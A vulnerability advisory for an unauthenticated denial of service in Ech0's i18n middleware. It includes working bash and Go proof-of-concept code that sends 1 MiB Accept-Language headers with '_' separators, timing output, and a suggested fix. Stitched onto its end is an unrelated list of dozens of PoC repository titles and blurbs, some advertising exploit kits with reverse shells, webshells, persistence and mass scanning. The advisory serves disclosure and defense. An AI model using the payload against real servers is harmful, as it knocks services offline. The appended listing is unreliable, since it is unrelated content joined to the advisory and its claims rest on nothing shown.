### Summary Ech0's i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth. ### Affected versions `github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on: - the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below) - `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged) ### Privilege required Unauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint. ### Vulnerable code [`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213: ```go func Middleware() gin.HandlerFunc { return func(ctx *gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language")) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } } ``` `setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`: ```go func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) { if ctx == nil { return } normalized := ResolveLocale(locale) localizer := NewLocalizer(normalized, acceptLanguage) ctx.Set(ContextLocaleKey, normalized) ctx.Set(ContextLocalizerKey, localizer) ctx.Header("Content-Language", normalized) } ``` `NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request. `ctx.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. The additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, ","))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice). CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. ### How `Accept-Language` reaches `ParseAcceptLanguage` The middleware sequence on any HTTP request: 1. The request enters `i18n.Middleware()`. 2. `ctx.GetHeader("Accept-Language")` returns the full attacker-supplied header value. 3. `setLocaleContext` is called with that value. 4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n's `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered. No size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210. ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container: ```bash docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest sleep 5 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18300/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2) A Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:18300/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() } func send(label, header string) { client := &http.Client{ Timeout: 60 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) } func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20)) send("attack ('_' x 1MiB)", buildPayload("_", 1<<20)) send("attack repeat 2", buildPayload("_", 1<<20)) send("attack repeat 3", buildPayload("_", 1<<20)) } ``` Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2): ``` E2E: golang/x/text ParseAcceptLanguage '_' bypass through lin-snow/Ech0 v4.8.2 i18n middleware at internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer). Target: http://127.0.0.1:18300/ payload=1048576 B warm-up header=0 B '_'=0 '-'=0 status=200 t=7.692458ms --- measurements (single request each) --- baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=2.666625ms baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=1.981333ms guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=200 t=21.445083ms attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=200 t=1.489513083s attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.501842542s attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.571093458s ``` Setting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, ","))` directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s. Interpretation: | Request | Header bytes | Server time | |------------------------------------------|--------------|-------------| | no header / short tag | 0 - 5 | 2 - 8 ms | | 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms | | 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s | | 1 MiB `_` separators with X-Locale: en | 1 MiB | ~7.9 s | The `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant. ### Impact - One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely. - The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards. - Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed. ### Suggested fix Apply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling: ```go // internal/i18n/i18n.go const maxAcceptLanguageSeparators = 32 // real browsers send < 10 func sanitizeAcceptLanguage(v string) string { if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators { return "" } return v } func Middleware() gin.HandlerFunc { return func(ctx *gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language"))) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } } ``` The same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`). A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible. The underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input. ### Credit Reported by tonghuaroot. ### Fix PR https://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1
PoC: CVE-2026-38192
pluck-CMS-4.7.20-code-injection-vulnerability
PoC: CVE-2026-62735
Windows HTTP.sys integer overflow -> nonpaged pool overflow LPE PoC (CVE-2026-62735): crash + full SYSTEM exploit; for authorized testing
PoC: CVE-2026-82329-JFrog-Artifactory-Auth-Bypass
CVE-2026-82329 — JFrog Artifactory (self-hosted) Auth Bypass
PoC: CVE-2026-65349
CVE-2026-65349 PoC — getattrlist OOB write in vfs_attr_pack_internal (iOS 26.6 / 23G71)
PoC: CVE-2026-65343
CVE-2026-65343 PoC — AppleKeyStore OOB read → KASLR defeat (iOS 26.6 / 23G71)
PoC: CVE-2026-65330
CVE-2026-65330 PoC — setxattr PAC bypass via fixed #0x307a diversifier (iOS 26.6 / 23G71)
PoC: CVE-2026-64788
CVE-2026-64788 PoC — IOGPUFamily Use-After-Free (iOS 26.6 / 23G71)
PoC: cve-2024-55591-poc
Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.
PoC: cve-2026-82329-jfrog-artifactory
CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis
PoC: CVE-2026-82592
D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing
PoC: My-Exploits
Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).
PoC: CVE-2025-66478-PoC-Reverse-Shell
CVE-2025-66478 PoC
PoC: CVE-2026-31787
Linux kernel double free in Xen privcmd driver
PoC: gha-lab-fb6df3d456
Authorized security-research lab reproducing CVE-2025-46820 (GHSA-cwj7-6v67-2cm4): GITHUB_TOKEN persisted into publicly downloadable CI artifacts in phpgt/Dom. Snapshot of phpgt/Dom @ b73d7e8.
PoC: CVE-2026-20212
CVE-2026-20212 - Draft or TODO
PoC: CVE-2026-56718
AJCloud AJY IPC Firmware Path Traversal via jdbhttpd
PoC: psa-2026-00043-recovery
Recovery notes for proxmox advisory ID: PSA-2026-00043-1 (CVE-2023-54391)
PoC: gha-lab-ba8e0c4217
Authorized security-research lab: reproduction of CVE-2024-42370 / GHSA-4hq2-rpgc-r8r7 (env injection in docs-preview.yml) — snapshot of litestar-org/litestar@18d84d84
PoC: CVE-2026-65643-PoC-Toolkit
🧰 CVE-2026-65643 – cPanel Domain Parking RCE Toolkit (CVSS 8.7) | Red/Blue Team suite for unpatched cPanel & WHM 11.x (110,134,136,138). 2 tools: Full Exploit (reverse shell, webshell, persistence, root passwd, file R/W, mass scan, Tor), Blue Team PoC (detection, reporting, audit). w/Python. 🦾 Only Use Ethically, Stay Legal <3
PoC: CVE-2026-4813
PoC for CVE-2026-4813
PoC: cve-2026-75604
Research lab and exploit chain for CVE-2026-75604: path traversal in the Next.js incremental cache, to RCE on Windows.
PoC: CVE-2026-82329
CVE‑2026‑82329 is a critical authentication bypass in JFrog Artifactory (CVSS 9.8) allowing unauthenticated attackers to obtain full administrative privileges. Actively exploited in the wild. Affects self‑hosted versions before patches. PoC for authorized testing only.
PoC: CVE-2026-52810
CVE-2026-52810 - Draft or TODO
PoC: iOS26.6-CVE-2026-64788
CVE-2026-64788 PoC — IOGPUFamily Use-After-Free (iOS 26.6 / 23G71)
PoC: CVE-2026-80428
CVE-2026-80428 PoC
PoC: iOS26.6-CVE-2026-65343
CVE-2026-65343 PoC — AppleKeyStore OOB read → KASLR defeat (iOS 26.6 / 23G71)
PoC: CVE-2026-80428
CVE-2026-80428 PoC
PoC: gha-lab-b1fe4918c0
Authorized security-research lab: reproduction of CVE-2025-32958 (GHSA-8c7v-vccv-cx4q) — GITHUB_TOKEN leaked into workflow artifacts by Adept's remoteBuild.yml (snapshot of AdeptLanguage/Adept @ 6a64554)
PoC: CVE-2026-83548-SonicWall-SMA1000-Analysis
Vulnerability Analysis of CVE-2026-83548 affecting SonicWall SMA1000 security systems.
PoC: CVE-2024-21546
This repository contains security assessment tooling, detection templates, and an automated exploit toolkit for identifying and exploiting Unauthenticated Remote Code Execution (RCE) in applications utilizing the `UniSharp/laravel-filemanager` package (Versions `< 2.9.1`).
PoC: CVE-2026-78071
Stored XSS via Location Title in DPCalendar Free
PoC: CVE-2026-78070
SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
PoC: CVE-2026-19949
CVE-2026-19949 - Draft or TODO
PoC: CVE-2026-59822
CVE-2026-59822 - Draft or TODO
PoC: struts2-tool
Struts2 S2-045/S2-046 CVE-2017-5638 detection & exploitation tool
PoC: gha-lab-becf103a54
Authorized security-research reproduction of CVE-2025-15617 (GHSA-6xqr-4q5g-xc7x): artipacked GITHUB_TOKEN leak in wazuh FIM Windows integration workflow artifacts
PoC: CVE-2025-9974
Proof of Concept code for the CVE-2025-9974 affecting Nokia Beacon routers.
PoC: tfo-connect-bypass
Bypassing connect()-based syscall rules using TCP Fast Open (CVE-2026-63828 PoC)
PoC: CVE-2026-38577-by-deepak-Anmol
CVE-2026-38577
PoC: gha-lab-23db52563c
Security-research lab: reproduction of CVE-2025-10894 (PR-title injection in GitHub Actions) — snapshot of nrwl/nx
PoC: CVE-2026-9335-keras-hdf5-externallink
CVE-2026-9335: KerasFileEditor and load_weights follow h5py ExternalLinks, disclosing arbitrary local HDF5 file contents in keras ≤ 3.14.0. Advisory + verified PoCs.
PoC: vsFTPd-2.3.4-Exploit
Python exploit for the vsFTPd 2.3.4 backdoor (CVE-2011-2523).
PoC: CVE-2026-73296
CVE-2026-73296
PoC: CVE-2026-19490
NetScaler ADC/Gateway SAML unsigned-assertion bypass via HTTP-Redirect binding (CTX696939) - root cause analysis + PoC
PoC: dast
CVE-2026-0828
PoC: SmarterMail-CVE-2026-24423-
Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.
PoC: gha-lab-d9fd584b12
Authorized security-research lab reproducing CVE-2024-47179 (GHSL-2024-178): artifact-poisoning pwn-request chain in RSSHub docker-test workflows (snapshot at 574d053)
PoC: LAB1-metasploitable
Exploitation des vulnérabilités sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)
PoC: CVE-2022-25765
CVE-2022-25765 | pdfkit v0.8.6 Python PoC
PoC: CVE-2026-7899
CVE-2026-7899 - Draft or TODO
PoC: gha-lab-6ab39df295
Controlled security-research lab reproducing CVE-2024-45798 (GHSA-h52q-xhg2-6jw8) in espressif/arduino-esp32 — poisoned-artifact pwn request via tests_results.yml workflow_run
PoC: CVE-2026-9586
CVE-2026-9586 - Draft or TODO
PoC: artifactory-CVE-2026-82329-poc.py
CVE-2026-82329 — JFrog Artifactory unauthenticated authentication bypass ("phantom join key" -> forged service admin token)
PoC: gha-lab-40e23db109
Security-research lab: controlled reproduction of CVE-2024-4254 (GHSA-fc78-c36r-cc59) — deploy-website.yml fork checkout/code execution in gradio-app/gradio @ d4c503a
PoC: root-s24-e1s
Galaxy S24 SM-S921B S921BXXSDCZB2 RAM-only KernelSU Next (CVE-2026-43499) + Root S24 app
PoC: CVE-2024-49138-SOC-Investigation
SOC investigation of CVE-2024-49138 exploitation involving brute-force activity, PowerShell execution, malicious payload analysis, privilege escalation, and incident response.
PoC: gha-lab-ee08e207a8
Authorized security-research lab reproducing CVE-2024-4253 (GHSA-r897-wrpm-h4vw): workflow_run command injection in gradio-app/gradio's test-functional.yml
PoC: CVE-2026-24061-Telnetd
CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass
PoC: Fortigate-SSL-VPN-Exploit-Kit
The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.
PoC: CVE-2026-33017
CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.
PoC: CVE-2026-13753-poc
Poc of CVE-2026-13753
PoC: CVE-2026-82221
PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin
PoC: ActiveMQ-CVE-2023-46604
Exploit POC for Apache ActiveMQ CVE-2023-46604
PoC: gha-lab-0ba60e6456
Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)
PoC: CVE-2026-36130
CVE-2026-36130
PoC: CVE-2026-31321
CVE-2026-31321
PoC: postgresql-cve-2026-14662
PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料
PoC: CVE-2026-27472-and-CVE-2026-27474
PoC for CVE-2026-27472 and CVE-2026-27474
PoC: CVE-2026-27475
PoC for CVE-2026-27475
PoC: CVE-2026-18963
Unauthenticated account takeover via reset-credentials flow bypass
PoC: CVE-2026-0768
CVE-2026-0768 - Draft or TODO
PoC: CVE-2026-82329
CVE-2026-82329 - Draft or TODO
PoC: tomcat-line-check
CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.
PoC: tomcat85-check
CVE-2025-55752 CVE-2025-55754 CVE-2025-48988 CVE-2025-52520 CVE-2025-53506 CVE-2025-61795 CVE-2025-66614:Tomcat 8.5 已 EOL,终版 8.5.100。Apache 逐条声明「8.5 也受影响」的 2025 CVE 有 14 条,其中 10 条在 NVD 按 8.5.100 查不到。离线单 jar,读 conf/ 判断你到底中了哪几条。
PoC: log4j2-vuln-lab
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
PoC: CVE-2021-3493-Exploit
It's a CVE-2021-3493 Exploit written in C
PoC: gha-lab-8e9316151c
Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef
PoC: gha-lab-6255f5fc33
Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml
PoC: nextcloud-cve-2023-49792-research
A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.
PoC: CVE-2026-30252
The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.
PoC: CVE-2026-30251
A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.
PoC: gha-lab-fb32aba4a3
Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow
PoC: CVE-2018-14667_Lab_POC
Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server
PoC: weakrng-sweep
Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership
PoC: cve-2022-29117-assessment
CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework
PoC: POC-CVE-2026-0073
Security research PoC for CVE-2026-0073: ADB authentication bypass verification
PoC: gha-lab-232af4821f
Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.
PoC: CVE-2026-82222
GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
PoC: CVE-2026-76569
Reflected XSS via search GET Parameter in Phoca Download
PoC: activemq-cve-lab
ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示
PoC: ghostlock-x200-app
vivo X200 设备端一键 root App（Shizuku 授权 shell 域执行，CVE-2026-43499）
PoC: gha-lab-b9842b12c0
Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment
PoC: gha-lab-e4a85583c3
Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument
PoC: Root-My-Galaxy
KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499
PoC: CVE-2026-78905-Facebook-Account-Takeover
Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.
PoC: CVE-2026-78904-Digital-Dinar-Drain
CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.
PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds
Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.
PoC: CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
PoC: CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
PoC: cve-2026-67363-67364
Balboa form Command Injection POC
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